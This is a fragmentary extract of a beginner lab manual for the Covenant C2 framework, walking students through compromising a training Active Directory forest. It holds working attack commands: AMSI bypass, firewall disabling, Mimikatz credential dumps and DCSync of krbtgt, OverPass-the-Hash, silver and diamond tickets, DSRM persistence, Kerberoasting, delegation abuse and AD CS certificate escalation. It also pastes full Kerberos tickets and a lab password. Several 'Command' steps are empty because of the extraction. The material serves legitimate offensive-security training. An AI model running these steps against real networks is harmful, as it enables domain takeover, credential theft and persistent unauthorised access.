LabManual Covenant
LabManual Covenant
Beginner Edition
Covenant Lab Manual
Table of Contents
Connecting to the Lab ............................................................................................................................ 3
Installing Covenant in Kali Linux ............................................................................................................ 4
Update Mimikatz in Covenant ............................................................................................................... 6
Introduction about Covenant ................................................................................................................ 7
Update the Listener Profile and HTTP Grunt template ......................................................................... 9
Setup the Listener ................................................................................................................................ 11
Generate Launcher ............................................................................................................................... 13
Host the Launcher ................................................................................................................................ 15
Delivering the Payload to the victim. .................................................................................................. 17
Learning Objective 1............................................................................................................................. 20
Learning Objective 2............................................................................................................................. 26
Learning Objective 3............................................................................................................................. 33
Learning Objective 4............................................................................................................................. 36
Learning Objective 5............................................................................................................................. 41
Learning Objective 6............................................................................................................................. 57
Learning Objective 7............................................................................................................................. 60
Learning Objective 8............................................................................................................................. 92
Learning Objective 9........................................................................................................................... 101
Learning Objective 10......................................................................................................................... 106
Learning Objective 11......................................................................................................................... 111
Learning Objective 12......................................................................................................................... 119
Learning Objective 13......................................................................................................................... 125
Learning Objective 14......................................................................................................................... 136
Learning Objective 15......................................................................................................................... 139
Learning Objective 16......................................................................................................................... 161
Learning Objective 17......................................................................................................................... 168
Learning Objective 18......................................................................................................................... 174
Learning Objective 19......................................................................................................................... 181
Learning Objective 20......................................................................................................................... 185
3. Go to the VPN folder and connect to the VPN using the Config file.
Note: Make sure to change the file name.
sudo openvpn --config BasicLab1-TCP4-443-student2.ovpn
Reference link
https://docs.microsoft.com/en-us/dotnet/core/install/linux-debian
• We will be using the Dev branch of Covenant. So, we first need to checkout the Dev
branch.
Note: This is currently the most stable branch with bug fixes
cd Covenant
git checkout dev
Once we make the configuration, we can built the project 2 times. First with x64 arch and
second with Win32 arch.
Note: The above process can be followed to update the Mimikatz in Covenant but currently
the code available on the GitHub has some issues. So, we have a custom version of Mimikatz
in the lab that also work on the newer versions of Windows OS. Hence use the DLL files
provided in the tools folder.
1. Listener - To get an operation started, we will want to start a new listener. Covenant
supports native listeners and "bridge" listeners.
2. Launchers - Launchers are used to generate, host, and download binaries, scripts, and
one-liners to launch new Grunts.
3. Grunts - Grunts are Covenant's C# implant. Most of an operator's time will be spent
interacting with grunts to assign tasks and collect information.
4. Tasks - Tasks, or "modules", are common functionality that can be run on grunts.
Access the Web Interface
Once we build and run Covenant, we can access the Covenant web interface. Below is the
URL which can be used to access the Covenant web interface. Please use the IP address of
the system where the Covenant is installed. By default, the web interface of Covenant runs
on port 7443
https://{IP}:7443
1. Click on Listeners option in the menu and then click on Profiles tab.
2. Click on Import button and upload the ModifiedHttpProfile.yaml file and click on
Import button.
2. Click on Listeners option in the menu and then click on Create button.
2. Enter the required details to create the listener and click on Create button.
1. Name - We can name the listener with any name. We will use HTTPListener as the
Name.
2. BindAddress - If we have multiple network interface and want to listen on specify
interface, we can set the BindAddress. By default, this needs to be on 0.0.0.0.
3. BindPort - We can keep this to default 80 or change. This is the port on which the
listener will bind to.
4. ConnectPort - We can keep this to default or change. This is the port on which the
agent (Grunt) will connect to.
5. ConnectAddress - We need to enter the IP of the host on which Covenant is
running. We can add multiple ConnectAddress and it can also contain the domain
name which can be pointed to the Covenant host.
6. UseSSL - We need to keep the default setting False as we are not going to use SSL
for communication.
7. HttpProfile - We can keep the ModifiedHttpProfile setting. There is an option to
create a custom profile for the listener.
1. Click on the Launchers option in the menu and then click on Create button and then
click on Create PowerShellLauncher
2. Enter the required details to create the Launcher and then click on Generate
1. Name - We can name the launcher with any name. We will use
PowerShellLauncher as the Name.
2. Description - We can keep the default value.
3. Listener - Select the HTTPListener which we created above.
4. ImplantTemplate - We will use the default template ModifiedGruntHTTP. The
implant template can be customized if needed and we can use a custom template.
5. DotNetVersion - We will use Net40 option since .NET4.0 is by default installed on
most of the newer version of windows.
6. OutputKind – Select the WindowsApplication option from the dropdown list. We
can also use ConsoleApplication as an option.
7. ValidateCert - We can currently ignore this option as we are using HTTP listener
without any SSL certificate. We can configure our listener to use HTTPS.
8. UseCertPinning - We can also ignore this option as we are not using listener with
HTTPS configuration.
9. Delay - We can keep this as default to 5 seconds. This option is used define the
sleep time between the agent (Grunt) and the Covenant host connections. Larger
value will increase the time between communication and execution of the task.
10. JitterPercent - We can keep this option also set to default. This will add the
variability in the Delay value.
Steps
1. Login to the Student VM via RDP using xfreerdp from Kali Linux. Below is the command
that can be used to take access to the Student VM via RDP.
Note - Please use the username, password and the IP address of the Student VM
allocated to you.
xfreerdp /u:student2 /p:PBKZZhYvtAQ5TYa4
/d:dollarcorp.moneycorp.local /v:172.16.100.2 /size:1024x650
Once we run the above command, we will get the Grunt call back on our Covenant C2. The
same can be seen in the below screenshot.
Now, since we have gained the access to the Student VM we can started completing the Learning
Objectives using Covenant C2 Framework.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Get-DomainUser
Since, this is not a root domain, the above command will return nothing. We need to query
the root domain as Enterprise Admins group is present only in the root of a forest.
• Command
PowerShell Get-DomainOU
• Command
PowerShell Get-DomainGPO
Nothing interesting!
PowerShell Get-DomainTrust
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Get-ServiceUnquoted
Nice, let us also enumerate services where the current can make changes to service binary
• Command
PowerShell Get-ModifiableService
We can see in the below screenshot that we have got another grunt with System privileges.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Find-PSRemotingLocalAdminAccess
http://172.16.3.11:8080/login?from=%2F
Since Jenkins does not have a password policy many users use username as passwords even
on the publicly available instances
(http://www.labofapenetrationtester.com/2015/11/week-of-continuous-intrusion-day-
1.html). By manually trying the usernames as passwords we identified that the
user builduser has password builduser. The user builduser can configure builds and add
build steps which will help us in executing commands.
Jenkins instance cannot connect back directly to our Covenant C2 hence we will need to
forward the traffic from the Student VM to our Covenant C2 instance. To do the same we
will leverage the built-in netsh utility. We need to execute the below command using
elevated privileges hence we will use the System privilege grunt to execute the command.
But first thing that we need to do is execute the built-in command BypassAmsi command.
Now we need to check the firewall status and if the firewall is enabled, we need to disable
the firewall.
PowerShell Get-NetFirewallProfile
• Listener Details
1. Enter HTTPListenerStudentVM in the Name field
2. Enter 172.16.99.2 IP address of the Covenant instance in the BindAddress field
3. Enter 8080 port in the BindPort field. (This is the port on which our listener will
listen)
4. Enter 80 port in the ConnectPort field. (This is the port on which our Grunt will try
to connect)
5. Enter 172.16.100.2 IP address of the Student VM in the ConnectAddresses field.
(This is the IP address on which the Grunt will try to connect)
6. HttpProfile - We can keep the ModifiedHttpProfile setting. There is an option to
create a custom profile for the listener.
Once the listener is setup, we need to generate the Launcher and host the new Grunt. We
will use the PowerShell Launcher.
Once the payload is hosted, we will use the known PowerShell download cradle to
download and execute the StudentVMGrunt.ps1 script to gain another grunt of the Jenkins
instance.
• Command
• Setup BloodHound and identify a machine where studentx has local administrative
access.
Solution
To run SharpHound we will need to import the SharpHound.ps1 PowerShell script
using PowerShellImport built-in task in covenant.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
ls
Now we can download the file from the machine and load the data in the Bloodhound UI.
The downloaded data can be found inside the Covenant/Covenant/Data/Downloads/ folder
• Command
Download 20230319234341_BloodHound.zip
• Identify a machine in the target domain where a Domain Admin session is available.
• Compromise the machine and escalate privileges to Domain Admin
o Using access to dcorp-ci
o Using derivative local admin
Solution
To enumerate the domain environment, we will need to import
the PowerView.ps1 PowerShell script using PowerShellImport built-in task in covenant. But
before that we need to run the AMSI Bypass using the built-in command BypassAmsi.
We have access to two domain users – studentx and ciadmin and administrative access to
dcorp-adminsrv machine. User hunting has not been fruitful as studentx. We got a reverse
shell on dcorp-ci as ciadmin by abusing Jenkins. We will leverage the Jenkins instance for
further the enumeration.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Find-DomainUserLocation
Great! A domain admin is logged in on dcorp-mgmt server. Now, let us check if we (as
ciadmin) have local admin access to dcorp-mgmt which will make it easier for us to attempt
escalation to domain admin.
Since we have the grunt access with administrative privileges on the dcorp-mgmt machine
we will now use the built-in task Mimikatz to dump the credentials from the system.
Internally this task leverages SharpSploit library that indeed leverages Mimikatz. But before
that we need to run the AMSI Bypass using the built-in command BypassAmsi.
Mimikatz "sekurlsa::ekeys"
Download the StudentVMGrunt.exe file on the Student VM and save it to the disk. We will
the system privilege grunt for downloading the grunt and then for performing OverPass-
The-Hash attack.
Note: - We can also use the Upload option to upload our Grunt File on the machine.
• Command
ls C:\Users\Public\Downloads\
Below are the steps to perform OverPass-The-Hash attack using Mimikatz and execute the
Grunt with the AES key of the svcadmin user.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
The new Grunt is connected back to our Covenant C2 that has Domain Admin privileges!
Steps
• Command
ls \\dcorp-dc.dollarcorp.moneycorp.local\C$
Looks like Applocker is configured. After going through the policies, we can understand that
Microsoft Signed binaries and scripts are allowed for all the users but nothing else.
However, this rule is overly permissive.
A default rule is enabled that allows everyone to run scripts from the C:\ProgramFiles folder!
Here, everyone can run scripts from the Program Files directory. That means, we can drop
the PowerShell script in the Program Files directory and execute the same.
Mimikatz "sekurlsa::ekeys"
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Find-PSRemotingLocalAdminAccess
Mimikatz "sekurlsa::ekeys"
Below are the steps to perform Over-Pass-The-Hash attack using Mimikatz and execute the
Grunt with Domain Admin privilege.
Steps
o Note:- This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
The new Grunt is connected back to our Covenant C2 that has Domain Admin privileges!
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
• Try to get command execution on the domain controller by creating silver ticket for:
o HOST service
o WMI
Solution
Task - Get command execution on the domain controller by creating silver
ticket for HOST service.
From the information gathered in previous steps we have the hash for machine account of
the domain controller (dcorp-dc). Using the below command, we can create a Silver Ticket
that provides us access to the HOST service of DC. Please note that the hash of
dcorp−dc (RC4 in the below command) may be different in the lab. We will use the
PowerShell script of Mimikatz to create a Silver Ticket
• Command
• Use Domain Admin privileges obtained earlier to execute the Diamond Ticket attack.
Solution
Task - Use Domain Admin privileges obtained earlier to execute the Diamond
Ticket attack.
We can simply use the following Rubeus command to execute the attack. Note that the
current version of Rubeus in Covenant is the old build. We will need to use the new version
of Rubeus to inject the ticket. We will use the Assembly Task to perform the same. We will
be using the system privilege grunt on the Student VM to execute the below mentioned
commands.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
• Use Domain Admin privileges obtained earlier to abuse the DSRM credential for
persistence.
Solution
Task - Use Domain Admin privileges obtained earlier to abuse the DSRM
credential for persistence.
We can persist with administrative access on the DC once we have Domain Admin privileges
by abusing the DSRM administrator. With the domain admin privileges obtained earlier, let
us extract the credentials from the SAM file from the DC. The Directory Services Restore
Mode (DSRM) password is mapped to the local Administrator on the DC. To extract
the DSRM we will leverage Built-in Mimikatz command. We will use our exiting grunt that
we have on dcorp-dc.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell New-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
Below are the steps to perform OverPass-The-Hash attack using Mimikatz and execute the
Grunt with Domain Admin privilege.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
Let us check for the rights once again from our normal student user grunt. In case if you get
any errors while trying the below command you can run RevertToSelf command and then
try to run the below command again.
• Command
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
• Modify security descriptors on dcorp-dc to get access using PowerShell remoting and
WMI without requiring administrator access.
• Retrieve machine account hash from dcorp-dc without using administrator access and
use that to execute a Silver Ticket attack to get code execution with WMI.
Solution
Task - Modify security descriptors on dcorp-dc to get access using PowerShell
remoting and WMI without requiring administrator access.
Once we have administrative privileges on a machine, we can modify security descriptors of
services to access the services without administrative privileges. Below command (to be run
as Domain Administrator) modifies the host security descriptors for WMI on the DC to allow
studentx access to WMI. To perform this task first we will need to import the Set-
RemoteWMI.ps1 PowerShell script. Follow the below mentioned steps and execute the
command.
Note:- Since the PSRemoting is not stable we will only look at WMI option.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Now, we can execute WMI queries on the DC as studentx. We will execute the below
mentioned command from the Student VM. Before we execute the WMI command let's
purge all the tickets.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Note: - In case if you face error as shown in the below screenshot while executing the above
command we can use another command to run the same.
We can use the machine account hash to create Silver Tickets. Create Silver Tickets for HOST
and RPCSS using the machine account hash to execute WMI queries. We will use the
Student VM grunt to create the Silver Ticket.
Before injecting the ticket, we will need to create a new token using MakeToken and then
inject the ticket.
• Command
• Command
Once we have gained the access, we can execute RevertToSelf so that we restore our access
to our student user.
• Using the Kerberoast attack, crack password of a SQL server service account.
Solution
Task - Using the Kerberoast attack, crack password of a SQL server service
account.
We first need to find out services running with user accounts as the services running with
machine accounts have difficult passwords. We can use PowerView (Get-DomainUser -SPN)
or ActiveDirectory module for discovering such services. We will use Student VM for
executing the PowerView commands. To import the PowerView script please follow the
steps provided in the above section.
• Command
Download the StudentVMGrunt.exe file on the Student VM and save the file to the disk.
In our case we already have the file on the disk hence we will use the same file. If the file is
not present we can use the below command to download the same.
Note: - We can also use the Upload option to upload our Grunt File on the machine.
• Command
Below are the steps to perform Over-Pass-The-Hash attack using Mimikatz and execute the
Grunt with appadmin privilege. We need to perform these steps using elevated privileges.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
Steps
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
PowerShell Find-PSRemotingLocalAdminAccess
• Command
• Command
Once we get our ticket we need to kill the Rubeus task. First, we need to list all the running task
and the use the Task id to kill the task as shown in the below screenshot.
Rubeus ptt
/ticket:doIGRTCCBkGgAwIBBaEDAgEWooIFGjCCBRZhggUSMIIFDqADAgEFoRwbG
kRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gx
pET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBLYwggSyoAMCARKhAwIBAqKCBKQ
EggSgeGH18/ddcoOWtWEIyvoUoBcMKx3w+M7JC1XrZma9RjXa3hta1CViGVLjzPrA
t4mxmYH3ZdWhI6kaJdr/SxPLh8AsCI37bSRsqLNYMPuN5jZp5UaAtG/xFCxPyO502
9YX84HxH/dXd2YAGaZiQ31GFcFNjryTMklVD2HjAc56wxvj2baY4M/j9/3oOfq725
Uik6pWrYyspA8GHVzV8fzpd1Jjsq4Lnxf6KyeWLyoTPNOyUXi3lrQiEb6eXyRXhyc
1ej93+wYczKbuk+EUVCTs9SfujNtGPk2K8nE9D1sZZJPhWlogVnGvN1Ad7lUOiHyW
DDv+VuZ/Qq591dS7AsAjq+65VD3tZ0FXLdYdqC/eke08IDeo+6BEtEDHasJdrJxie
u2pCj8PYKL1IiV0Bdml1RZ7E0ua4pXKCu6nXTgTtyofJm8JbIcVFt/TpmFqaPwaS2
pVcrMeLOLuq5ZkB3X+wRs1kI80riJsJLIZ+rdUF2tovqD2QEIjngDZYzl+esCbHrF
a3aB4Gn5brcgM6pirftbgIEF4bp9qNQAAoeYnLg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ooIBCASCAQR9ggEAMIH9oIH6
MIH3MIH0oCswKaADAgESoSIEIDD6YEm2rl/a+8ysFW1wHIouBWuFZ6x2cuf0B0Rvk
UkCoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMohYwFKADAgEBoQ0wCxsJRE
NPUlAtREMkowcDBQBgoQAApREYDzIwMjMwMzIwMDc1NDIzWqYRGA8yMDIzMDMyMDE
3NTQyM1qnERgPMjAyMzAzMjQxMzIwNDFaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQ
LkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SU
C5MT0NBTA==
Once we get our ticket, we need to kill the Rubeus task. First, we need to list all the running task
and the use the Task id to kill the task as shown in the below screenshot.
• Command
RevertToSelf
Rubeus ptt
/ticket:doIF1jCCBdKgAwIBBaEDAgEWooIE0TCCBM1hggTJMIIExaADAgEFoREbD
01PTkVZQ09SUC5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPTU9ORVlDT1JQLk
xPQ0FMo4IEgzCCBH+gAwIBEqEDAgECooIEcQSCBG27C5e2xJiHkwwPSvB1/nmf/1w
82eGDY1YhRGmIZdm/AE5L0or+0AYSCciWgw6Ofekgps8vsUBwYNMED04I9Oz9EXzF
uZ3UgAOk/411HHNayc7iKuNp34YkqfiX1XnYv2CpaNeFvvA/fOQ57xM/iy6pUQ7qo
DIaD/gq94WGQQnXa0RSeoIfYrrTbuMKQ+ZzyIBpalKSP7A8Mnt7/lkeFaUcinm4nk
vLpQk/QDsyMY0nad5b/GHLOU8ST+jrXT9p3U8B+KCYMRFZfho09gDp8RAcZIRXVY8
wClzf24xKWwFTTMvTFFP2JxOKGJsfN7JcfT40HsyvBKxVURgHl9vSKkrbDds6kwQb
LG54GEFziMb23PQ89r3+iWggPQ7GH1DUMjNAh1EWjleMal1A6wkuLbVzxvpw6QiO4
e8ziCDvU5jWudDBI4FvjEIl0Omj+URyWjw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zipQdfJaOB8DCB7a
ADAgEAooHlBIHifYHfMIHcoIHZMIHWMIHToCswKaADAgESoSIEIE4s3mjplEqUUNl
ACAf3Qbt9i2hiCySoaIaOgYl/mvHboREbD01PTkVZQ09SUC5MT0NBTKIWMBSgAwIB
AaENMAsbCU1DT1JQLURDJKMHAwUAYKEAAKURGA8yMDIzMDMyMDA3NTMzMVqmERgPM
jAyMzAzMjAxNzUzMzFapxEYDzIwMjMwMzI0MTMyMTM2WqgRGw9NT05FWUNPUlAuTE
9DQUypJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD01PTkVZQ09SUC5MT0NBTA==
We already have the hash of websvc that we extracted from dcorp-admisrv machine. We
can either use Kekeo or Rubeus to abuse the constrained delegation feature using the aes
key of websvc user. We will use Rubeus to abuse the Constrained Delegation feature. We
will use Student VM to abuse the Constrained Delegation.
Before injecting the ticket, we will need to create a new token using MakeToken and then
inject the ticket. We need to first execute RevertToSelf command.
• Command
RevertToSelf
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
RevertToSelf
• Command
RevertToSelf
PowerShell Find-InterestingDomainAcl| ?{$_.identityreferencename
-match 'ciadmin'}
PowerShell Get-DomainRBCD
Let us extract the AES Keys from the student VM using Built-in Mimikatz . Enter
"sekurlsa::ekeys" in the parameters field. We will need to use elevated grunt of our student
VM.
• Command
• Command
ls C:\Users\Public\
• Command
RevertToSelf
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
ls \\mcorp-dc.moneycorp.local\c$
Sweet! Let us run DCSync against mcorp-dc to extract secrets from it. We will use the Built-
in Mimikatz task to perform the dcsync. Enter "lsadump::dcsync /user:mcorp\krbtgt
/domain:moneycorp.local" in the command field.
ls C:\Users\Public\
RevertToSelf
ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
• Check if AD CS is used by the target forest and find any vulnerable/abusable templates.
• Abuse any such template(s) to escalate to Domain Admin and Enterprise Admin.
Solution
Task - Check if AD CS is used by the target forest and find any
vulnerable/abusable templates.
We will use Certify tool to enumerate the Certificate Authorities in the target forest. Since
Certify tool is not a part of Covenant by default, we will leverage the built-in task Assembly
to load and run the Certify tool. Below are the steps to use external .Net Executables with
the Built-in task Assembly. Please execute RevertToSelf command before executing
Certify.exe tool.
• Steps
o Note: - This task can also be executed from the Interact tab directly.
Note: Remove the blank lines while trying to save the output to cert.pem file.
• Command
Use the PFX created above with Rubeus to request a TGT for DA - Administrator!
Note: Since the current version of Rubeus that is bundled with Covenant does not have
features for abusing Certificates, we will leverage the built-in Assembly task to upload a new
version of Rubeus and perform the attack.
• Command
Upload C:\AD\Tools\esc1-DA.pfx
• Command
Rubeus ptt
/ticket:doIG4jCCBt6gAwIBBaEDAgEWooIFxjCCBcJhggW+MIIFuqADAgEFoRwbG
kRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gx
pkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOCBWIwggVeoAMCARKhAwIBAqKCBVA
EggVMCVknnfZj8DsG3FhQZ6JTR32l5DqKyJI8cnxfDCcUJOCtmYTgTuERyQAjqjmm
Mv9tGdHr46ORf4KqoiQTSbJAnZeZt29ZzHtOiAiB5kijZo19XU8RSTFiei0m9o+wJ
OWFGGoXP18zXH4venk4NF+xJ6iDcN4zxt1W+BqIplzZ5Bii4NRzbkDYVNeTG16ttd
WhW4WzyXO1Xfmi0GXLLMgKVG9C1ibC9pH/HUtN0D4zbhHmc7VEI1GfFU+OKHr7Ni7
dXwEGJO6flvQvTwoWVp2wV/UYSgHDxkY41T+bycuNvcFYXefmvUaauwAYy9Xvj3V4
+Kz7qgidhqlbAK3NRytlRM9TYC97IIN/ganDdrmq46sHX2lzNT6jObEg2J8Chi83R
IZkjHb9+GSZpTzKG+Z7co/UdwVdUSXjURWPTy2kDvpV7SRdl1Dag5CYzW8ZVQV+iK
jcFVG7dxguOyCB/c6O5Fp9NSGLbewhD0JHcjlG6XQqH6PGXsKHJ6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mY/t
unaVFamuyqKyqngw4xfwngA0d6EtCZrHn8661sQot7HzKvNmX5HL6bEoUZizzI7s5
TdRYp+xdqj55TV7e52CE/7G1RVN0eM/MLWYUl9YsH8A/Zkx+AJMyj7RKWw65SU9EG
mA3Y6TuLUotuMyYX+9nixNFiCfgbXsubIMDcvJ/9lFrqC5E5QNd51PHrMq75acGD6
l+qbKJX2k4qd+3EzFArwouQdHBInsgAmWAw6hrbgZlQfBV0om6o2o60BIcxxa0hSe
VztuEPimduhFD+X2I5i8X1kYD1YQKZYocvrFemHlaT2iGgcpqcx561JKQ0gUWtKME
aXkj7y0E6EfU/j3TEoXpxZD3BBeKBgrtznZ8yN5JrIDDL+uw9vIhqb6l1edEs3pkE
OodMfgOdP5LYYiFSi3c6ofvzPukyk87n+5ttBy62eiAfmImQzA2FG7w86Ceff48np
NNkafnY+eHlZbpwpX0Kg6B6R54/7PRWz6jDaswXaIufG/IzxjqyVcYV4Drsvv523A
ls \\mcorp-dc.moneycorp.local\c$
Like earlier, save the certificate text to cert.pem and convert to .pfx. Let us keep using
SecretPass@123 as the export password.
Note: Remove the blank lines while trying to save the output to cert.pem file.
• Command
Upload C:\AD\Tools\esc3-agent.pfx
We can follow the above steps to run the built-in Assembly task and by modifying the
parameters field to "request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA
/template:SmartCardEnrollment-Users /onbehalfof:dcorp\administrator
/enrollcert:C:\AD\Tools\esc3-agent.pfx /enrollcertpw:SecretPass@123" .
• Command
Use the PFX created above with Rubeus to request a TGT for DA - Administrator!
We can follow the above steps to run the built-in Assembly task and by modifying the
parameters field to "asktgt /user:administrator /certificate:C:\AD\Tools\esc3-DA.pfx
/password:SecretPass@123".
Note: Since the current version of Rubeus that is bundled with Covenant does not have
features for abusing Certificates, we will leverage the built-in Assembly task to upload a new
version of Rubeus and perform the attack.
Upload C:\AD\Tools\esc3-DA.pfx
• Command
Rubeus ptt
/ticket:doIG4jCCBt6gAwIBBaEDAgEWooIFxjCCBcJhggW+MIIFuqADAgEFoRwbG
kRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gx
pkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOCBWIwggVeoAMCARKhAwIBAqKCBVA
EggVMmxl6KexUUvE2lrYSvtBbYG3RXSdWHvCfCgXKLwhafxwyH7VlaZGAKWSAK6rj
VttS4FzhulrQ23Y+o1Y5XV1sy/xk/pCuxS44tBls6zoWopKbW+EpdafGRgNFAI2DU
bbW0wMTjTE3ZeWZy4jmaoLYH9p1H+62gMjX95VsgcwkNeqgulD3/c+QjMA0JX51ot
HaiGomQsm6JzJqQKVSD02g5QBByy8XcZAuS5a4Jjzm0v7U2OLOuex1XDHRdA6kgfG
qthfkQpic2cse++vTxppcREoO7Mt+cA1kZkXZA3gVib7D+3NjxQuwnpc6TzHGeuR9
yGn+lzR6m3GrFQ4w+l6vpYruOWoVU/l0oQsph9bev1ZJHz6dMSdWYGLqy7SH5IuUi
saA8moh5eEQJl6XnXJYSkKjjC7x2K45moekPGWA7MkeuF08YJH9Ln4j3fLb4BskoO
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
• Command
Use the PFX created above with Rubeus to request a TGT for DA - Administrator!
We can follow the above steps to run the built-in Assembly task and by modifying the
parameters field to "asktgt /user:moneycorp.local\administrator
/certificate:C:\AD\Tools\esc3-EA.pfx /dc:mcorp-dc.moneycorp.local
/password:SecretPass@123".
Note: Since the current version of Rubeus that is bundled with Covenant does not have
features for abusing Certificates, we will leverage the built-in Assembly task to upload a new
version of Rubeus and perform the attack.
Upload C:\AD\Tools\esc3-EA.pfx
• Command
Rubeus ptt
/ticket:doIGhjCCBoKgAwIBBaEDAgEWooIFjTCCBYlhggWFMIIFgaADAgEFoREbD
01PTkVZQ09SUC5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPbW9uZXljb3JwLm
xvY2Fso4IFPzCCBTugAwIBEqEDAgECooIFLQSCBSkv5pMNkRo40NF0GF3ug+qFoPu
qMSerEdmRIEswRNq11Mj6GTLPUa76HKzj1p54m1+h5vyl4ICCk8aeYBM2WfRjcUHm
rHCYiDh2t2vwvr2SreeYsWn6WoM+MvjXSpywG/KQXy2S1OdPEPx9XD0MrM3Ko1bCS
zDn6YzDSagYtm9Ii4gBPljrdJAS+Zshch/4yYerB9mjs3AxSIuRfLA+o7DmmX6QC/
pIy/5tNRtzzmExJfY0w3AqvUUx/WvY2KwKeaDvbNiJzWKukPrifMAMw8Py3gP4RdU
0WWZrDemC/2ACNx9X6/ZkCmOSTIB5tDAIq3AzaIEUpFp2ZS4MiM16jdGmEW4m9cKR
Lrb0KBoMuyjV83XMOL3smJDfFLtxdtxDk9vEUgNeftK9xDwrV5JdFMCPV+ATKgQnp
S0T7cf9Rcgoeew6oZ/CUuTnVq+2xmDxpKDbUYiQg+nTyccdzX/bT1JF8W37HrzH8W
5dNSS1juV01UtHjY/LAMJZLmu9FBMiTcGmwkXPkJNwV+KRvgz2ZZ6lIDuHOJfOxDw
• Command
ls \\mcorp-dc.moneycorp.local\c$
We can follow the above steps to run the built-in Assembly task and by modifying the
parameters field to "cas". But before running the above command we need to run
RevertToSelf.
Sweet! As a member of RDPUsers group, we can request a certificate for any user using CA-
Integration template. Let us do it for DA. Use "/altname:moneycorp.local\administrator" in
the below command for escalation to EA.
Once again, save the certificate text to cert.pem and convert the .pem to .pfx. Still using
SecretPass@123 as the export password.
Note: Remove the blank lines while trying to save the output to cert.pem file.
• Command
Use the PFX created above with Rubeus to request a TGT for DA - Administrator!
We can follow the above steps to run the built-in Assembly task and by modifying the
parameters field to "asktgt /user:administrator /certificate:C:\AD\Tools\esc6-DA.pfx
/password:SecretPass@123".
Note: Since the current version of Rubeus that is bundled with Covenant does not have
features for abusing Certificates, we will leverage the built-in Assembly task to upload a new
version of Rubeus and perform the attack.
Upload C:\AD\Tools\esc6-DA.pfx
• Command
Rubeus ptt
/ticket:doIG4jCCBt6gAwIBBaEDAgEWooIFxjCCBcJhggW+MIIFuqADAgEFoRwbG
kRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gx
pkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOCBWIwggVeoAMCARKhAwIBAqKCBVA
EggVMup2TdrgQUjV0bhCazleEVwmKP+DCyR+AEf5/DSV8CIe1EU7q0b25YH5rMXmJ
+cdQTejC83b9Wx+R9XGZnKbpfZa5oq3UKCOVHoLPgGv6S2ck+GICmU2sZ0/248g4D
96LOCNmy/sFGBR9+UTTWGB0hL0A140uXQeX953/zK+IlhbpiFYE5tmld8vfG8QLDT
AqCJdzWEojbqocr6qXd5gdDHEqj6/WkcwaxDQV4k1LHC1KcrSnnrMLSWUEJrJj1l0
c0GNQya3JzQ7xIU22EuMwTNiXpV24ZCleHPcClpxNrxFyJT3rt1VEQRymRqOLbE3f
hyRklsAC1tvwAq53wKLaxv99rtB4sVzYz3q73Gi2VeOQGCxNv+CDnOZAB9oOUAZfb
• Command
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
• Get a reverse shell on a SQL server in eurocorp forest by abusing database links from
dcorp-mssql.
Solution
Task - Get a reverse shell on a SQL server in eurocorp forest by abusing
